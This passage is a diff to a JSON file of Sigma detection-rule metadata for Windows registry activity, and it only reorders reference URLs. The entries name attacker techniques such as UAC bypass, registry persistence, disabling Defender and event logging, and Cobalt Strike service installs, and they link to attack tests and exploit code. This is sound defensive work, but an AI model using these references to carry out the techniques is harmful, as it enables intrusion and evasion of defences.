"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" ], "tags": [ "attack.persistence", @@ -59077,11 +59075,11 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" ], "tags": [ "attack.persistence", @@ -59105,10 +59103,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" ], "tags": [ "attack.persistence", @@ -59132,9 +59130,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" ], "tags": [ @@ -59159,10 +59157,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" ], "tags": [ "attack.persistence", @@ -59186,10 +59184,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" ], "tags": [ "attack.persistence", @@ -59214,9 +59212,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" ], "tags": [ @@ -59241,9 +59239,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" ], "tags": [ @@ -59268,10 +59266,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" ], "tags": [ @@ -59296,9 +59294,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" ], "tags": [ @@ -59323,9 +59321,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" ], "tags": [ @@ -59349,9 +59347,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml", "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/" ], "tags": [ "attack.defense_evasion", @@ -59374,10 +59372,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml", "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", - "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" + "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623" ], "tags": [ "attack.privilege_escalation", @@ -59401,9 +59399,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml" + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/" ], "tags": [ "attack.persistence", @@ -59452,8 +59450,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller" ], "tags": [ "attack.persistence", @@ -59476,9 +59474,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone" ], "tags": [ "attack.persistence", @@ -59526,10 +59524,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/", - "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml", + "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", + "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/" ], "tags": [ "attack.defense_evasion", @@ -59552,9 +59550,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chm_persistence.yml", "https://persistence-info.github.io/Data/htmlhelpauthor.html", - "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chm_persistence.yml" + "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/" ], "tags": [ "attack.persistence" @@ -59600,8 +59598,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml", + "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395" ], "tags": [ "attack.execution", @@ -59629,8 +59627,8 @@ "logsource.product": "windows", "refs": [ "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", - "https://www.exploit-db.com/exploits/47696", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml", + "https://www.exploit-db.com/exploits/47696" ], "tags": [ "attack.privilege_escalation", @@ -59678,8 +59676,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" ], "tags": [ "attack.defense_evasion", @@ -59702,8 +59700,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" ], "tags": [ "attack.defense_evasion", @@ -59750,8 +59748,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://windows-internals.com/printdemon-cve-2020-1048/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml", + "https://windows-internals.com/printdemon-cve-2020-1048/" ], "tags": [ "attack.persistence", @@ -59804,9 +59802,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml" + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/" ], "tags": [ "attack.defense_evasion", @@ -59829,9 +59827,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml", "https://github.com/last-byte/PersistenceSniper", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/" ], "tags": [ "attack.persistence", @@ -59854,8 +59852,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/_nullbind/status/1204923340810543109", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml", + "https://twitter.com/_nullbind/status/1204923340810543109" ], "tags": [ "attack.defense_evasion", @@ -59878,10 +59876,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml" + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx" ], "tags": [ "attack.defense_evasion", @@ -59953,8 +59951,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml", + "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html" ], "tags": [ "attack.defense_evasion", @@ -60001,8 +59999,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup" ], "tags": [ "attack.defense_evasion", @@ -60026,8 +60024,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/" ], "tags": [ "attack.defense_evasion" @@ -60049,8 +60047,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry" ], "tags": [ "attack.defense_evasion", @@ -60074,8 +60072,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" ], "tags": [ "attack.defense_evasion", @@ -60098,10 +60096,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml", "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", - "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" + "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", + "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba" ], "tags": [ "attack.defense_evasion" @@ -60123,10 +60121,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/" ], "tags": [ "attack.defense_evasion", @@ -60149,8 +60147,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md" ], "tags": [ "attack.defense_evasion", @@ -60173,8 +60171,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" ], "tags": [ "attack.defense_evasion", @@ -60271,8 +60269,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md" ], "tags": [ "attack.defense_evasion", @@ -60295,9 +60293,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml", "https://twitter.com/WhichbufferArda/status/1543900539280293889", - "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" + "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp" ], "tags": [ "attack.defense_evasion", @@ -60320,8 +60318,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" ], "tags": [ "attack.defense_evasion", @@ -60344,9 +60342,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml", "https://persistence-info.github.io/Data/diskcleanuphandler.html", - "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml" + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/" ], "tags": [ "attack.persistence" @@ -60368,11 +60366,11 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", - "https://github.com/elastic/detection-rules/issues/1371", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml", "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", + "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" + "https://github.com/elastic/detection-rules/issues/1371" ], "tags": [ "attack.defense_evasion", @@ -60419,10 +60417,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/jamieantisocial/status/1304520651248668673", - "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml", "https://www.sans.org/cyber-security-summit/archives", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" + "https://twitter.com/jamieantisocial/status/1304520651248668673", + "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors" ], "tags": [ "attack.persistence", @@ -60471,16 +60469,16 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1268712093928378368", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", 